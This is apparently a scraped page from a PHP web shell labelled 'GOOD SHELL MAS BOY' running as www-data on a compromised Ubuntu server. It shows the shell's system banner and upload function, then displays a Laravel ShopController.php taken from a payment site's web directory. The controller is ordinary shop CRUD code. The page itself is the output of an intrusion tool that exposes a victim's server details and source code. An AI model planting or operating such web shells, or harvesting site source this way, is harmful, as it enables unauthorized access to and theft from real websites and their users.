GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/vaspayment.com/app/Http/Controllers/ShopController.php
<?php

namespace App\Http\Controllers;

use App\Models\Shop;
use App\Models\Review;
use App\Models\Category;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Validator;

class ShopController extends Controller
{

    public function __construct()
    { 
            $this->middleware(['auth', 'verified', 'agent'])->except(['list', 'show']); 
    }

    public function index()
    {
        $shops = Shop::all();
        $categories = Category::all();
        return view("settings.shop.index", compact("shops", "categories"));
    }

    public function list()
    {
        // $shops = Cache::remember('cached_shops', 7 * 24 * 60, function () {
        //     return 
            $shops =   Shop::select('title', 'regular_price', 'sales_price', 'images', 'slug')->inRandomOrder()->paginate(2);
            $totalProducts = Shop::count();
        // });
        return view("settings.shop.list", compact("shops", "totalProducts"));
    }


    public function store(Request $request)
    {
        $validator = Validator::make($request->all(), [
            'title' => 'required|string',
            'description' => 'required',
            'short_description' => 'required',
            'specification' => 'required|string',
            'features' => 'required|string',
            'regular_price' => 'sometimes',
            'sales_price' => 'sometimes',
            'category_id' => 'required|string',
            'quantity' => 'required|string',
            'images.*' => 'required|image|max:512',
            
        ]);
        
        if ($validator->fails()) {
            return redirect()->back()->with('error', $validator->errors()->first());
        }
        
        try {
            $shop = new Shop();
            $shop->title = $request->get('title');
            $shop->slug = Str::slug($request['title'], '-');
            $shop->description = $request->get('description');
            $shop->short_description = $request->get('short_description');
            $shop->specification = $request->get('specification');
            $shop->features = $request->get('features');
            $shop->regular_price = $request->get('regular_price');
            $shop->sales_price = $request->get('sales_price');
            $shop->category_id = $request->get('category_id');
            $shop->quantity = $request->get('quantity');
            
            $images = [];
            if ($request->hasFile('images')) {
                foreach ($request->file('images') as $image) {
                    $imageName = '/storage/' . $image->store('shopImages', 'public');
                    $images[] = $imageName;
                }
            }
            $shop->images = json_encode($images);
            
            $shop->save(); 
            return redirect()->back()->with('status', 'Shop product Saved');
        } catch (\Throwable $th) {
            return redirect()->back()->with('error', $th->getMessage());
        }
    }


    public function show(Shop $shop)
    {
        $reviews = Review::select('user_id', 'comment', 'rating', 'shop_id')->where('shop_id', $shop->id)->inRandomOrder()->limit(5)->get();
        
        return view('settings.shop.show', compact('shop', 'reviews'));
    }


    public function edit(Shop $shop)
    {
        //
    }


    public function update(Request $request, Shop $shop)
    {
        $validator = Validator::make($request->all(), [
            'title' => 'required|string',
            'description' => 'required',
            'short_description' => 'required',
            'specification' => 'required|string',
            'features' => 'required|string',
            'regular_price' => 'sometimes',
            'sales_price' => 'sometimes',
            'category_id' => 'required|string',
            'quantity' => 'required|string',
            'images.*' => 'required|image|max:512',

        ]);

        if ($validator->fails()) {
            return redirect()->back()->with('error', $validator->errors()->first());
        }

        try {
            $shop->title = $request->get('title');
            $shop->slug = Str::slug($request['title'], '-');
            $shop->description = $request->get('description');
            $shop->short_description = $request->get('short_description');
            $shop->specification = $request->get('specification');
            $shop->features = $request->get('features');
            $shop->regular_price = $request->get('regular_price');
            $shop->sales_price = $request->get('sales_price');
            $shop->category_id = $request->get('category_id');
            $shop->quantity = $request->get('quantity');

            $images = [];
            if ($request->hasFile('images')) {
                foreach ($request->file('images') as $image) {
                    $imageName = '/storage/' . $image->store('shopImages', 'public');
                    $images[] = $imageName;
                }
            }

            $shop->save();
            return redirect()->back()->with('status', 'Shop Product Updated');
        } catch (\Throwable $th) {
            return redirect()->back()->with('error', $th->getMessage());
        }
    }


    public function destroy(Shop $shop)
    {
        $shop->delete();
        return redirect()->back()->with('status', 'Shop Product Deleted');
    }
}